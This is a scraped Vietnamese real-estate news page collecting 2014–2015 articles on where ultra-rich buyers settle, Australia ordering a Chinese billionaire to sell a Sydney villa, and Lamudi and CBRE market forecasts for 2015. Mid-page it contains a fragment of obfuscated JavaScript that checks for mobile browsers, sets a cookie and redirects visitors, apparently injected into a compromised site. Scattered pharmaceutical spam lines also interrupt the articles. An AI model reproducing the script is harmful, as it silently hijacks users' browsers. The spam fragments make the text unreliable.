Theo báo cáo của Knight Frank, London hiện là nhà của 4363 người thuộc nhóm sở hữu “giá trị tài sản ròng nhiều hơn 30 triệu USD” (UHNWI). Đây cũng là cộng đồng UHNWI có số lượng lớn nhất trên thế giới. Thủ đô nước Anh hấp dẫn bởi những chính sách thuế ưu đãi, môi trường chính trị ổn định và danh tiếng của một trong những trung tâm tài chính lớn nhất thế giới.

Tuy nhiên, London đang mất dần sức hút đối với giới siêu giàu so với Singapore, Hong Kong và New York. Báo cáo của Knight Frank cho biết, trong vòng 10 năm tới, Singapore sẽ thu hút 1.752 UHNWI. Hơn 1.251 người sẽ mua nhà tại Hồng Kông và 1013 người thích biệt thự ở New York. Chỉ 907 người chọn chuyển đến London.

New York sắp "vượt mặt" London trong cuộc chiến thu hút giới siêu giàu

BĐS New York đang giành phần thắng trong cuộc đua thu hút giới siêu giàu

Liam Bailey, Trưởng bộ phận nghiên cứu của Knight Frank phân tích, xu hướng chuyển dịch trên phù hợp với tâm lý tin tưởng, coi Mỹ là điểm trú ẩn an toàn cho những khối tài sản kếch xù của người giàu khắp thế giới. “Giấc mơ Mỹ” vẫn duy trì được sức hấp dẫn của mình. Trong đó, trung tâm tài chính New York nổi bật với nhiều cơ hội đầu tư, việc làm, giáo dục, giải trí. Thành phố này có tốc độ tăng trưởng giá trị bất động sản xa xỉ cao nhất thế giới, đạt mức 18,8% trong năm 2014. Dự báo, năm 2025, New York sẽ vượt qua London để trở thành “đầu tàu” của kinh tế thế giới.

Báo cáo cũng cho thấy sự trỗi dậy của Bắc Kinh khi nhảy từ vị trí thứ 9 lên thứ 6 trong Top 10 thành phố tập trung nhiều UHNWI nhất thế giới, đẩy Paris xuống thêm vài bậc trong bảng xếp hạng này. Nguyên nhân được cho là giới siêu giàu châu Á có xu hướng đầu tư gần nhà trước khi nhìn đến các khu vực xa hơn. Tốc độ tăng trưởng 91% về số lượng UHNWI người Trung Quốc cũng có đóng góp quan trọng vào xu hướng này.

Các thành phố khác như Singapore, Hong Kong, Istanbul và Abu Dhabi cũng đang trỗi dậy mạnh mẽ, hấp dẫn giới siêu giàu từ khắp nơi trên thế giới.

Nguồn: Nhịp sống thời đại

tretinon canadian

Úc buộc tỉ phú Trung Quốc bán gấp biệt thự

Úc buộc tỉ phú Trung Quốc bán gấp biệt thự

Chính quyền Úc hôm 3-3 thông báo buộc tỉ phú Trung Quốc sở hữu biệt thự trị giá 30 triệu USD phải bán gấp tài sản này trong vòng 90 ngày do mua trái luật.

Úc buộc tỉ phú Trung Quốc bán gấp biệt thự

Căn biệt thự Villa del Mare của ông Huệ Khả Yến ở Sydney – Ảnh: Propgoluxury

Đây được coi là động thái đầu tiên nhằm vào giới đầu tư nước ngoài trong lĩnh vực bất động sản nhà ở kể từ năm 2006 ở Úc.

Bộ trưởng Tài chính Úc Joe Hockey nói trong một tuyên bố rằng biệt thự Villa del Mare đã bị mua trái pháp luật hồi tháng 11-2014 bởi công ty đồ ăn nhanh Golden. Công ty này do tập đoàn Evergrande Real Estate niêm yết ở Hong Kong sở hữu.

Evergrande là nhà phát triển bất động sản lớn thứ 4 ở Trung Quốc tính theo doanh số, thuộc sở hữu của ông Huệ Khả Yến. Ông này là người giàu thứ 15 ở Trung Quốc với số tài sản khoảng 6,4 tỉ USD theo tính toán của tạp chíForbes.

Tập đoàn trên hiện chưa đưa ra tuyên bố gì về vụ việc.

Được biết, người nước ngoài ở Úc bị hạn chế chỉ được mua bất động sản mới trong khi Villa del Mare lại không phải là căn biệt thự mới.

Tháng trước, Úc thông báo kế hoạch thu phí đối với người nước ngoài mua bất động sản nhà ở và phạt những ai vi phạm luật đầu tư trong nỗ lực nhằm hạ nhiệt thị trường bất động sản nóng nhất thế giới này.

Hội đồng thẩm định đầu tư nước ngoài của Úc nói Trung Quốc là nguồn đầu tư nước ngoài vào lĩnh vực bất động sản lớn nhất năm 2013 ở nước này.

Hội đồng này cũng đã phê duyệt gần 5,58 tỉ USD đầu tư năm 2013, tăng 41% so với 1 năm trước đó.

Nguồn: Tuổi trẻ

00|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Những dự báo về thị trường BĐS thế giới năm 2015

Những dự báo về thị trường BĐS thế giới năm 2015

Cổng thông tin bất động sản (BĐS) toàn cầu Lamudi đã dự báo về xu hướng phát triển thị trường BĐS thế giới năm 2015. Theo đó, những xu hướng nổi trội là nhà đầu tư quốc tế đẩy mạnh hoạt động đầu tư, nới lỏng quy định cho người nước ngoài mua nhà, BĐS phát triển theo xu hướng mobile…

Thay đổi quy định cho người nước ngoài mua nhà

Người nước ngoài không được quyền mua nhà tại một số thị trường mới nổi trên thế giới. Trong số đó có một số nước trong Hiệp hội quốc gia Đông Nam Á như Việt Nam, Indonesia, Myanmar, Philippines… Nhưng chính phủ một số nước như Việt Nam, Indonesia mới đây đã có động thái tích cực về việc thay đổi các quy định cho người nước ngoài sở hữu BĐS. Năm 2015, song song với việc thành lập Cộng đồng Kinh tế ASEAN, quy định này sẽ là động lực đẩy mạnh lượng đầu tư FDI vào thị trường BĐS.

Lượng đầu tư BĐS tăng mạnh

Năm 2014, lượng đầu tư trực tiếp vào những thị trường mới nổi đã lên đến con số cao kỷ lục. Trong năm 2015, xu hướng này được dự báo vẫn sẽ tiếp tục tăng. Cụ thể, trong suốt một thập kỷ qua, châu Phi là khu vực nhận được một lượng đầu tư khá ổn định. Theo Chương trình phát triển Liên Hợp Quốc và Tổ chức Hợp tác Phát triển Kinh tế, báo cáo gần đây nhất của Ngân hàng Phát triển châu Phi (African Development Bank), năm 2014, FDI trong khu vực châu Phi đã đạt mức kỷ lục là 80 tỷ USD và trong đó một tỷ lệ lớn đổ vào BĐS.

Những dự báo về thị trường BĐS thế giới năm 2015

Năm 2015, thị trường BĐS châu Á sẽ có nhiều điểm mới

Tầng lớp trung lưu đầu tư vào BĐS nhiều hơn

Trong năm qua, gia tăng tầng lớp trung lưu đầu tư vào thị trường BĐS là xu hướng nổi trội, đơn cử như Indonesia. Theo kết quả nghiên cứu của Boston Consulting Group, ước tính Indonesia sẽ có số lượng người thuộc tầng lớp trung lưu lên tới 140 triệu người trong năm 2020. Đặc biệt, xu hướng này tác động khá lớn tới thị trường và sẽ tiếp tục trong năm nay. Bên cạnh đó, người mua nhà được nhận xét ngày càng có quyền thương lượng và kiến thức hơn trong giao dịch.

Giao dịch BĐS theo phương thức internet và mobile sẽ thống trị        

Tại khu vực Mỹ La Tinh, xu hướng này được nhận định là khá nổi trội. Đơn cử, hơn 1,1 triệu lượt giao dịch thực hiện trong 6 tháng qua trên website Lamudi Mexico bằng thiết bị di động. Các giao dịch qua website Lamudi.com.co tại Colombia được tiến hành trên các thiết bị di động chiếm khoảng 51,25%. Điều đó đồng nghĩa với việc những người làm trong lĩnh vực BĐS sẽ phải tập trung chiến lược dành cho thị trường internet và mobile.

lamisil tablets over the counter

BĐS tăng trưởng mạnh

Theo khảo sát online gần đây của Lamudi, tại các thị trường mới nổi, hầu hết công ty môi giới đều dự đoán, thị trường BĐS trong thời gian sắp tới sẽ tăng trưởng. Gần 23% công ty môi giới tại Ả Rập Saudi dự đoán, năm 2015, thị trường BĐS nước này sẽ tăng trưởng đạ từ 8-10%. Khảo sát tại các khu vực như Trung Đông và châu Á cũng cho kết quả tương tự.

Thị trường Sri Lanka đã phát triển kể từ khi cuộc nội chiến chấm dứt. Kết quả trong khảo sát của Lamudi cho thấy, hơn một nửa công ty môi giới BĐS tại quốc gia này dự đoán, trong năm tới, thị trường BĐS sẽ tăng trưởng 8%. Đặc biệt, 65% các công ty môi giới tại Pakistan, Sri Lanka, Indonesia và Myanmar lạc quan vào triển vọng của thị trường BĐS trong thời gian tới.

Nguồn: Sưu tầm

Năm 2015: Hứa hẹn bùng nổ thị trường BĐS Châu Á - Thái Bình Dương

Năm 2015: Hứa hẹn bùng nổ thị trường BĐS Châu Á – Thái Bình Dương

CBRE vừa công bố báo cáo Triển vọng thị trường bất động sản Châu Á – Thái Bình Dương trong năm 2015, trong đó đưa ra các xu hướng chủ đạo đối với mảng văn phòng, bán lẻ, công nghiệp và đầu tư trong khu vực, hứa hẹn sự bùng nổ thị trường BĐS Châu Á – Thái Bình Dương.

Năm 2015: Hứa hẹn bùng nổ thị trường BĐS Châu Á - Thái Bình Dương

Bất động sản Châu Á 2015 có nhiều hứa hẹn

Cụ thể, theo báo cáo của CBRE với tốc độ đô thị hóa nhanh chóng, dân số gia tăng, tầng lớp trung lưu ngày càng phát triển cùng với các hộ giàu ngày càng nhiều, CBRE dự đoán tăng trưởng kinh tế ở Châu Á – Thái Bình Dương sẽ duy trì trên mức tăng trưởng bình quân của thế giới trong các năm kế tiếp, đồng nghĩa với việc nhu cầu đối với bất động sản chất lượng cao ngày càng nhiều hơn, đặc biệt là các trung tâm bán lẻ ngoại ô và nhà ở.

Châu Á – Thái Bình Dương sẽ tiếp tục phát triển vượt trội trong năm 2015, Oxford Economics dự báo mức tăng trưởng khoảng 4.4%, so với mức 2.9% trên toàn cầu. Đồng thời, CBRE ước tính rằng kim ngạch đầu tư tại Châu Á – Thái Bình Dương sẽ tăng 118 tỉ USD trong năm 2015, cao hơn 5% so với cùng kỳ năm trước.

Năm 2015: Một năm hứa hẹn bùng nổ của thị trường BĐS Châu Á-Thái Bình Dương

Chỉ tính các dự án có giá trị 10 tỉ đô trở lên của văn phòng, bán lẻ, khách sạn và bất động sản hỗn hợp

Giáo sư Henry Chin, Trưởng Bộ phận Nghiên Cứu, CBRE châu Á – Thái Bình Dương cho biết có nhiều yếu tố thúc đẩy tăng trưởng đầu tư trong khu vực, bao gồm các quỹ bất động sản đầu tư tư nhân mới thành lập, sự gia tăng các tổ chức đầu tư trong khu vực, phát triển hoạt động của tổ chức đầu tư châu Á và nguồn vốn vay dồi dào.

motilium new zealand pharmacy

“CBRE không kì vọng phần lớn thị trường đều chịu áp lực đáng kể về lãi suất trong năm nay do sự sụt giảm của lạm phát và các chương trình nới lỏng tiền tệ tiếp tục được thực hiện trong khu vực sử dụng đồng Euro và Nhật Bản. Giá nhiên liệu sụt giảm trong thời gian gần đây đã làm giảm bớt áp lực gia tăng lãi suất ngắn hạn.

Các nhà hoạch định chính sách đang có xu hướng hạ lãi suất để hỗ trợ nền kinh tế của họ như tại Trung Quốc, Ấn Độ, Hàn Quốc và Australia là các ví dụ đáng chú ý gần đây. Đảm bảo tài chính chi phí thấp sẽ cung cấp cho các nhà đầu tư nhiều cơ hội để đầu tư vào bất động sản,” ông Chin cho biết.

Ông Chin cũng bổ sung thêm: “Hơn thế nữa, sự kết hợp giữa tính thanh khoản cao và xác suất thấp của việc gia tăng lãi suất cho phép các chủ đầu tư nắm giữ tài sản chủ chốt để duy trì mức giá hiện tại. Họ sẽ không sẵn sàng bán các khối tài sản với mức giá chiết khấu”.

Các doanh nghiệp và nhà đầu tư hiện nay ở khu vực này vẫn rất tự tin và được hỗ trợ nhu cầu vững chắc từ cả khách thuê bất động sản và các nhà đầu tư. CBRE dự kiến tăng trưởng giá cho thuê và giá trị vốn vào mức khoảng 2-4% cho phân khúc văn phòng, bán lẻ và các ngành công nghiệp trong năm 2015:

Văn phòng: Giá thuê văn phòng tại khu vực sẽ tiếp tục ghi nhận mức tăng trưởng ổn định, dẫn đầu bởi các thị trường Tokyo, Bangalore và Singapore, tuy nhiên, tỷ lệ tăng trưởng sẽ chậm lại ở mức từ 3,2% đến 3,6%. Các doanh nghiệp sẽ tiếp tục chịu ảnh hưởng bởi kiểm soát chi phí, kết quả mở rộng đầu tư một cách thận trọng trong khu vực. Tập trung vào chiến lược danh mục đầu tư dài hạn và cải thiện môi trường làm việc, công ty sẵn sàng để xem xét nâng cấp cơ hội và các hoạt động tại nơi làm việc.

Bán lẻ: Tăng trưởng giá thuê sẽ tiếp tục tăng, nhưng ở một tốc độ chậm hơn, giá thuê được dự báo chỉ tăng 2,4% thay vì 5,4%. Với giá thuê tăng 10%, Tokyo sẽ dẫn đầu trong khu vực, tiếp theo là Bắc Kinh và Thượng Hải. Sự gia tăng cạnh tranh và tăng chi phí hoạt động, các nhà bán lẻ trong khu vực sẽ tập trung vào việc cho thuê không gian trong các thị trường tăng trưởng quan trọng.

Công nghiệp: Trong năm 2015, giá thuê của thị trường vận chuyển và kho vận sẽ tăng do nhu cầu tăng cao, đặc biệt là ở Hồng Kông, Osaka và Thượng Hải. Sự tăng trưởng mạnh mẽ của thương mại điện tử và các cuộc chạy đua nâng cao hiệu quả hoạt động sẽ dẫn đến nhu cầu vững chắc cho không gian hậu cần ở hầu hết các thị trường, với dự báo tăng trưởng cho thuê kho vận và nhà xưởng tổng thể trong khu vực Châu Á Thái Bình Dương là 2,9%.

CBRE nhận định tăng trưởng sẽ không đồng đều trong khu vực với các thị trường trải qua các chu kỳ kinh tế khác nhau. Ví dụ như Nhật Bản bước vào năm 2015 tại vị trí đầu của một chu kỳ đi lên trên mặt sau của sự mất giá của đồng yên Nhật.

Thu hút một lượng khách du lịch đáng kể trong năm 2014 đã hỗ trợ cho tăng trưởng xuất khẩu – sản xuất công nghiệp có thể sẽ tăng lên, với giá thuê văn phòng và bán lẻ đã tăng. Các tập đoàn Nhật Bản cũng đang xem xét việc chuyển sản xuất từ nước ngoài về đất nước của họ để thúc đẩy nền kinh tế hơn nữa.

Ở đầu bên kia của quy mô kinh tế, tốc độ tăng trưởng của Trung Quốc đang chậm đến 7% và được dự báo sẽ giảm thêm khoảng 5% vào cuối thập kỷ này. Suy giảm này chủ yếu do chính phủ chỉ đạo cơ quan chức năng như tập trung vào tái cơ cấu nền kinh tế. Mặc dù vậy, các doanh nghiệp mở rộng quy mô vẫn là trọng tâm của thị trường này trong năm 2015.

Nguồn: ndh.vn